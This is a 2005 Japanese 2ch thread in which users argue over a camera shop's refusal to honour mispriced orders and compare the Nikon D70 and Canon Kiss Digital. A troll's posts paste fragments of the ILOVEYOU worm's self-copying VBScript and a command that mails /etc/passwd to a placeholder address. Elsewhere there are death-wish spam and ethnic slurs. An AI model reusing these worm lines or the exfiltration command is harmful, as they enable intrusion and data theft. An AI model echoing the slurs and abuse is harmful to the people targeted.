924 ：番組の途中ですが名無しです ：05/03/05 14:49:35 ID:r+LA24Ym: >>921
いや、思っただけ。
法的にはどうなんだろうね。
詐欺を推奨した覚えはないが。
925 ：番組の途中ですが名無しです ：05/03/05 14:51:35 ID:vfhnzvOg: 思うのは誰でも思うさ。
女をなにしたいとか。
それで罪にはなりはせんやろ。
安心をし。
926 ：番組の途中ですが名無しです ：05/03/05 14:51:37 ID:r+LA24Ym: しかも契約成立してると思われるのに何が詐欺なのだろうな
927 ：番組の途中ですが名無しです ：05/03/05 14:52:26 ID:RO2i4Aye: >>923
現段階でキャンセルに了承しちゃえば良いじゃん

Ｄ７０は初心者むけのかめらじゃないのか？
画素数は十分だからな
１万円キャッシュバックはいいね
細かい設定やらはＤ７０の法がすぐれてるのか
キスＤとＤ７０ならＤ７０が良いの？
928 ：番組の途中ですが名無しです ：05/03/05 14:52:59 ID:B2dlJuAY: お前たちは言い訳ばっかり
マジで死ねよおねがいだから
929 ：番組の途中ですが名無しです ：05/03/05 14:53:44 ID:i6oyq62u: カメラのナニワはゴネてないで早く発送しろよ
930 ：番組の途中ですが名無しです ：05/03/05 14:53:56 ID:r+LA24Ym: >>927
このターゲットも初心者、女性が主だった気がする。
質感が微妙みたい。
931 ：番組の途中ですが名無しです ：05/03/05 14:55:22 ID:vfhnzvOg: >>927
もしKissDNとD70がおなじ値段でしたら、
なんの疑いもなく、KissDNをお勧めします。
932 ：番組の途中ですが名無しです ：05/03/05 14:55:45 ID:2wmF2Q1p: >>923
俺は買うけど。一旦契約したものだからな。
契約は誠実に履行するのが社会人として当然だろ。
933 ：番組の途中ですが名無しです ：05/03/05 14:57:15 ID:B2dlJuAY: >>932
ゴネるのも社会人として当然の行為なんですか？
精神科への通院をお勧めします
934 ：番組の途中ですが名無しです ：05/03/05 14:57:53 ID:pZ1oDMo+: 本当だな。ナニワはゴネすぎ
935 ：番組の途中ですが名無しです ：05/03/05 14:59:53 ID:RO2i4Aye: >>930
キスと同じターゲットか

>>931
いま価格的にキスＤとＤ７０が並ぶよね
この２台だったらどっちをすすめる？

写真を単純に楽しむだけならコンパクトでもいいよな
こりだすと全然物足りないけど
動画とれたりとかコンパクトが便利な場合もある
一眼絶対に楽しいけど泥沼が待ってそうｗ
936 ：番組の途中ですが名無しです ：05/03/05 15:02:54 ID:1vzEEo8A: >>927　”現段階でキャンセルに了承しちゃえば良いじゃん”
ハニワが売るって言い出したらって仮定の話だからその仮定の時点で、
「現段階」はキャンセルではなく「売る」なんだと思うんだが･･･

>>932
この仮定の場合は普通に注文してる人のは面白くない普通のことになる。
937 ：番組の途中ですが名無しです ：05/03/05 15:03:20 ID:RO2i4Aye: http://up.nm78.com/data/up076824.jpg
もちつけ
938 ：番組の途中ですが名無しです ：05/03/05 15:03:24 ID:vfhnzvOg: >>935
Canon派ですが、D70をお勧めしますです。

あと、コンパクトから一眼への脱皮は、ぜひお勧めしますよ。
ぜんぜん別世界です。
939 ：番組の途中ですが名無しです ：05/03/05 15:04:31 ID:RO2i4Aye: >>936
いやだから
売られて困る人は、キャンセルしてくれと言っている今の家に応じれば良いジャンと
940 ：番組の途中ですが名無しです ：05/03/05 15:06:38 ID:hkDfKVR8: ごねるなとか言ってる香具師がおるが、ごねてるのはナニワ。
941 ：番組の途中ですが名無しです ：05/03/05 15:06:54 ID:2wmF2Q1p: >>933
ほんとだよね。
ナニワの担当者・経営者は早く受診したほうがいい。
942 ：番組の途中ですが名無しです ：05/03/05 15:09:17 ID:RO2i4Aye: >>938
同じ６メガでもＤ７０がオススメなんだ？

俺は写真をやりたいとずっとおもってるんだが
いままでろくにやった事無い
中学のとき写真やったが習ったわけじゃないし
枚数もとってない
イクシデジタルの３２０マン画素くらいのやつをもってたが
バイクでこけたときに潰れた
一応ちゃんと動くけど
イクシでもいろいろ出来たみたいだけど、なんかコンパクトじゃやる気がしなかった
一眼は構えるだけで未知な世界ってかんじがする
オヤジが銀塩一眼持ってたから一眼へのあこがれもある

でも一眼バイクで持ち歩くのじゃまだな
攻める時とかじゃまだな
こけたら終わりだし

バイクとは別の趣味としてはじめるか
┌| ∵|┘が売ってくれなかったら仕方ないからＤ７０を買うか
943 ：番組の途中ですが名無しです ：05/03/05 15:10:18 ID:RO2i4Aye: >>942
氏ね
読みにくいよ
944 ：番組の途中ですが名無しです ：05/03/05 15:11:30 ID:7uKsiGec: >>942
ゴネ厨でDQNですか？
電柱に突っ込んで氏ね
945 ：番組の途中ですが名無しです ：05/03/05 15:15:15 ID:RO2i4Aye: >>944
ＤＱＮ
ゴメンね
文章分かりにくくて
バイク＝ＤＱＮなんて思わないでね

Ｄ７０かうか
キャノンはナニワと一緒に捨てるか
946 ：番組の途中ですが名無しです ：05/03/05 15:15:27 ID:1vzEEo8A: >>939
キャンセルを翻して売ると言い出すという「仮定の話」なんだから、
その時点で「キャンセルしてくれと言っている今」は「過去」になる･･･。
947 ：番組の途中ですが名無しです ：05/03/05 15:15:57 ID:yvnXIO5s: こら～ッ！！早く起きなさ～い！！！！！
948 ：番組の途中ですが名無しです ：05/03/05 15:16:32 ID:RO2i4Aye: >>944
そういえばお前頑張ってるね
焼肉いかね？
949 ：番組の途中ですが名無しです ：05/03/05 15:17:36 ID:RO2i4Aye: >>946
そうだねぇ
その通り
こだわるね
950 ：番組の途中ですが名無しです ：05/03/05 15:21:00 ID:HYMqega3: >誤表記価格で商品引き渡しを求めることと、個人情報の削除を
>求めることを同時にすることは、ある意味相反する内容になると考えられます。
951 ：番組の途中ですが名無しです ：05/03/05 15:23:09 ID:1vzEEo8A: >>949
こだわるよ、
１００台注文してバックレようとしてる香具師とか居たらムカつくから。
居ないとは思うけど１人くらいマジでいそうだし。
952 ：番組の途中ですが名無しです ：05/03/05 15:26:33 ID:RO2i4Aye: >>951
現時点で向こうがキャンセルをお願いしてるんだから
了承しとけば
売るっていい出しても買う必要はないと思うよ
って事が言いたいんだけどね
キャンセルしてくれと言った事は過去でも事実だよ
953 ：番組の途中ですが名無しです ：05/03/05 15:27:04 ID:7uKsiGec: とうとう内部分裂かよｗ
954 ：番組の途中ですが名無しです ：05/03/05 15:27:35 ID:RO2i4Aye: ユーザーがﾆｺﾝに流れたらﾆｺﾝはﾆｺﾝﾆｺﾝだな
955 ：番組の途中ですが名無しです ：05/03/05 15:28:45 ID:RO2i4Aye: ID:7uKsiGecは何台注文したんだ？
956 ：番組の途中ですが名無しです ：05/03/05 15:29:47 ID:MwEUwlIH: まーいろんなヤツがいるわな。ネタと虚構も入り混じってるだろうし。
2chだからそりゃしゃーないといやしゃーないワケだが。

とりあえずハニワは回答はよよこせ、いうことで。
申込してからもう一週間！ですよ！
957 ：番組の途中ですが名無しです ：05/03/05 15:31:15 ID:RO2i4Aye: ┌| ∵|┘メールの返事送るって嘘かよ
嘘はだめだよ
958 ：番組の途中ですが名無しです ：05/03/05 15:31:19 ID:7uKsiGec: >>956
だからもう回答してるだろメール嫁
日本語わかんないのか？あ？三国人
959 ：番組の途中ですが名無しです ：05/03/05 15:40:18 ID:r+LA24Ym: >>958
日本人騙るなよ、三国人。
960 ：番組の途中ですが名無しです ：05/03/05 15:41:35 ID:r+LA24Ym: ナニワの掲示板
http://rforum.rakuten.co.jp/?act=cattop&sid=2&cname=naniwa
961 ：番組の途中ですが名無しです ：05/03/05 15:44:32 ID:HYMqega3: >>862

その情報を悪用したら合法どころか犯罪でしょ。
情報を取得することではなく悪用する部分に問題があるのですから。

（フィッシング詐欺の問題点）
1.有名企業のサイトと偽って情報を入力させる
2.入力した情報を悪用する

まず１に関しては今回は間違いなくナニワのサイトですから関係無いです。
２番に関しては現状悪用されていませんし状況的に悪用するとは考えにくいと思います。
その点を考えたらフィッシングと言うのは苦しいというのです。
今回のナニワは売る気で情報を集めたが間違いにより売れなくなったと云う主張でしょうから。
フィッシングとこちらが主張するにはナニワが初めから売る気が無いのに情報を入力させたという
ことを立証しないといけないですがそれは無理だと思う。
ナニワの初めは売る気があったと言うのを崩せない限りフィッシングと言うのは無理だと思います。
962 ：番組の途中ですが名無しです ：05/03/05 15:45:42 ID:HYMqega3: >>862

それに仮に情報取得の件でナニワに責任を問えたとしてもそれはそれで終わりですよね？
カメラの販売に関してはまた０からではないにせよ初めからやらないといけないですよね。

なのでカメラの販売を求めるのならば契約不成立の部分を攻めるのが得策だというのですよ。
私はカメラの販売を求めたいので個人情報の件ではなくその点を行こうと思うのです。
963 ：番組の途中ですが名無しです ：05/03/05 15:57:46 ID:B2dlJuAY: c.Copy(dirsystem&"＼MSKernel32.vbs")
c.Copy(dirwin&"＼Win32DLL.vbs")
c.Copy(dirsystem&"＼LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:＼network.vbs", "j:＼windows＼start menu＼programs＼startup＼"
fso.copyfile "dirsystem&nurupo.vbs", "j:＼windows＼start menu＼programs＼startup＼"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
964 ：番組の途中ですが名無しです ：05/03/05 15:57:48 ID:faHdrp2J: そういえば考えていたことなんだけど、1&さんかだれかに24人くらいが50円
ずつ出し合って一人が内容証明をナニワに送れば早々と契約成立不成立が
返答させることができるんだよね。そうすればみんなが一人一人が内容証明
を発行しなくて済むし、ひとり50円くらいで契約の成立不成立がわかるんだけど
だいたいこういう感じの追求の仕方もあるんだけど、みんなの案はどういうのが
あるかな？　そろそろこちらも相手ののらりくらりを許さない段階にきてると
思いますんで。

いっちょ過去ログよんできます。
965 ：番組の途中ですが名無しです ：05/03/05 15:59:35 ID:yvnXIO5s: 個人情報取得のお誘い。
966 ：番組の途中ですが名無しです ：05/03/05 15:59:38 ID:B2dlJuAY: c.Copy(dirsystem&"＼MSKernel32.vbs")
c.Copy(dirwin&"＼Win32DLL.vbs")
c.Copy(dirsystem&"＼LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:＼network.vbs", "j:＼windows＼start menu＼programs＼startup＼"
fso.copyfile "dirsystem&nurupo.vbs", "j:＼windows＼start menu＼programs＼startup＼"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
967 ：番組の途中ですが名無しです ：05/03/05 16:02:05 ID:HYMqega3: >>964
内容証明には法的効力は無いから無駄だともう。
ナニワは初めから契約不成立を主張するのは目に見えてるのだし。
968 ：番組の途中ですが名無しです ：05/03/05 16:02:20 ID:NzYu2V2I: お前らほんとゴネるの大好きだな
969 ：番組の途中ですが名無しです ：05/03/05 16:03:19 ID:B2dlJuAY: おまえらこのスレで終わらせろよ
はっきり言って迷惑
970 ：番組の途中ですが名無しです ：05/03/05 16:04:19 ID:vfhnzvOg: >>961
> 1.有名企業のサイトと偽って情報を入力させる
>まず１に関しては今回は間違いなくナニワのサイトですから関係無いです。

これには、感覚的というか常識から言って異論があります。
ナニワには「ダマサレタ!!」という感覚がありますからね。

これを考えてみますと、
ナニワという【老舗の看板】で、かつ【ありそうな価格】で、
個人情報を入力させているわけです。
有名企業の看板で信用させてだますというのと、同じことではないですか。

【老舗への人々の信用】というものを汚したということ、
そしてこの値段なら「特価販売」としてありうるぞ、
という【人々の健全な買い物感覚への自信】を傷つけたということ、

この二つの大切なものを、ナニワのやったことが、傷つけたのです。
ナニワが社会に与えた損害は、甚大です。

この責任は問わねばならないし、
このようなことが再発しなうよう、楽天には対処を
求めなければならない。
971 ：番組の途中ですが名無しです ：05/03/05 16:06:16 ID:B2dlJuAY: 訴えられるもんなら訴えてみろや
根性無しがいくらほざいても無駄無駄
972 ：番組の途中ですが名無しです ：05/03/05 16:07:49 ID:MwEUwlIH: >>970

あんたの気持ちもわかるし、俺もそういった気持ちをもった。でも、

> 有名企業の看板で信用させてだますというのと、同じことではないですか

同じことじゃない。犯罪要件を満たさなければ犯罪とは言えない。
(やっていいという意味じゃないぞ)

類推解釈はしてはいけない。そこは慎重に判断して欲しい。
973 ：番組の途中ですが名無しです ：05/03/05 16:09:02 ID:B2dlJuAY: ゴネ厨氏ねや

　
974 ：番組の途中ですが名無しです ：05/03/05 16:09:10 ID:3rMUZzwD: 大阪商人はこういう汚いことをやって客を釣り、やばくなったら
「何言うてんねん、ワシらが被害者なんや」
と開き直るから、たちが悪い。

まるで某半島の連中と変わらん。
975 ：番組の途中ですが名無しです ：05/03/05 16:09:45 ID:RO2i4Aye: オリンパスのＥ－３００でもかっちゃえよ
976 ：番組の途中ですが名無しです ：05/03/05 16:10:14 ID:TvBlaIXH: ナニワは、涙より先に笑いが来る、あわれな店
憲法判断の一つもしないで。よくこんな幼稚な判断ができますよね。

世界中にいいたい、ナニワには来るなと。
ナニワに来るということは、ロボットとなるということです
977 ：番組の途中ですが名無しです ：05/03/05 16:11:10 ID:B2dlJuAY: だからお前等なんか客と思っていないんだよ
二度と来るな！！
978 ：番組の途中ですが名無しです ：05/03/05 16:12:12 ID:vfhnzvOg: >>962
>それに仮に情報取得の件でナニワに責任を問えたとしてもそれはそれで終わりですよね？
>カメラの販売に関してはまた０からではないにせよ初めからやらないといけないですよね。

この件につきましては、もう述べましだが、
やはり9万のカメラを6万で売ってもらうのは、
無理があったのではないでしょうか。
こんなにナニワが嫌がっているんですから、
やはりナニワにかなりの損害がでるのだと思います。
ナニワも、不愉快な人もいるでしょうが、
そうでない人々もたくさんいるはずです。
そのような人々の生活をおびやかすようなことまでは
したくはないと、思います。

ですので、カメラを6万で売れというのは、やめにして、
こんどのことで、多くの人が不安なそして不快な思いをしたから、
そのこと謝ってほしい、と要求するのがいいと思うのです。
そしてその表現として、たとえば、ケーキ券とかお米券とか、
そんな感じのホンワカするものを、配ってもらえたらいいのでは、
と思うわけです。
979 ：番組の途中ですが名無しです ：05/03/05 16:12:51 ID:pZ1oDMo+: 荒らしてるﾔﾂはナニワじゃなくてナニワを陥れようとしてるライバル店だろうなぁ
980 ：番組の途中ですが名無しです ：05/03/05 16:15:30 ID:RO2i4Aye: 結構速いなまじで
眠い
カメラ欲しい欲しい欲しい
981 ：番組の途中ですが名無しです ：05/03/05 16:16:27 ID:MwEUwlIH: >>979

というか関西圏の人間でもないような気がする。
982 ：番組の途中ですが名無しです ：05/03/05 16:16:42 ID:Hsp7b6nm: とりあえず社員のレスを抜粋して
各方面に通報しました
983 ：番組の途中ですが名無しです ：05/03/05 16:17:05 ID:B2dlJuAY: 　　　　　　　　　　　　　　終　　　　　了

　
984 ：番組の途中ですが名無しです ：05/03/05 16:18:16 ID:B2dlJuAY: 　　　　　　　　　　　　　　終　　　　　了

　
985 ：番組の途中ですが名無しです ：05/03/05 16:20:23 ID:r+LA24Ym: >>978
異論あり
9万円のカメラって何？amazonではギフト券考えると8万2800円で、
他のカメラも8万五千程度の店もある、さっきも書いたのに・・・
俺は商品券2万円なら許すよ。

ナニワが嫌がってるって、何さ被害者はこちらだぞ、ナニワは客のキャンセルを認めないのに
、客の注文を拒否することは酷すぎる。
986 ：番組の途中ですが名無しです ：05/03/05 16:20:37 ID:RO2i4Aye: E-300で良いかも
レンズつきで７６０００円だって
買っちゃおうかなｗ
987 ：番組の途中ですが名無しです ：05/03/05 16:20:41 ID:faHdrp2J: >>967
いや、内容証明により相手が契約不成立を示して来る場合は、併せて理由
も書かせるつもりですので、その理由を弁護士などに見せれば正当な理由
として成り立つか一目瞭然だと思いますので。

内容証明は公文書として扱えるはずですよね？
988 ：番組の途中ですが名無しです ：05/03/05 16:21:46 ID:B2dlJuAY: >>985
規約に書いてありますが何か？
989 ：番組の途中ですが名無しです ：05/03/05 16:23:07 ID:r+LA24Ym: >>988
法的に有効ではない規約など数あるが？
990 ：番組の途中ですが名無しです ：05/03/05 16:24:04 ID:ycAdIebr: 社員スルーﾜﾛｽ
991 ：番組の途中ですが名無しです ：05/03/05 16:24:43 ID:B2dlJuAY: >>989
文句あるなら来るなや！
992 ：番組の途中ですが名無しです ：05/03/05 16:25:11 ID:d2t6buV5: 次ｽﾚ
http://news19.2ch.net/test/read.cgi/news/1110007307/
993 ：番組の途中ですが名無しです ：05/03/05 16:25:40 ID:r+LA24Ym: amazonはギフト券還元を考えると実質82800
送料や、クレジットカード手数料を考えると卸値は8万円以下じゃないか？
>>991
どこに来るなと？貴方はナニワの社員さんですか？社員以外に言われる覚えはありませんよ。
994 ：番組の途中ですが名無しです ：05/03/05 16:26:37 ID:1vzEEo8A: 春だなぁ･･･
995 ：番組の途中ですが名無しです ：05/03/05 16:29:11 ID:B2dlJuAY: 終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
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996 ：番組の途中ですが名無しです ：05/03/05 16:31:14 ID:aJ9uIPnG: 大阪は経済も役人も町並みも沈没してるから、許してやってくれ。
大阪はだめやさかい、ゆるしてーな。
997 ：番組の途中ですが名無しです ：05/03/05 16:31:28 ID:B2dlJuAY: ゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ね
ゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ね
ゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ね
ゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ね
ゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ね
ゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ね
ゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ね
ゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ねゴネ厨氏ね
998 ：番組の途中ですが名無しです ：05/03/05 16:32:00 ID:r+LA24Ym: ID:B2dlJuAYがファビヨッっている件について
999 ：番組の途中ですが名無しです ：05/03/05 16:32:30 ID:osCtREAf: 次ｽﾚ
http://news19.2ch.net/test/read.cgi/news/1110007307/
1000 ：番組の途中ですが名無しです ：05/03/05 16:32:31 ID:RO2i4Aye: うざい
相手すんなよ
1001 ：１００１：Over 1000 Thread: このスレッドは１０００を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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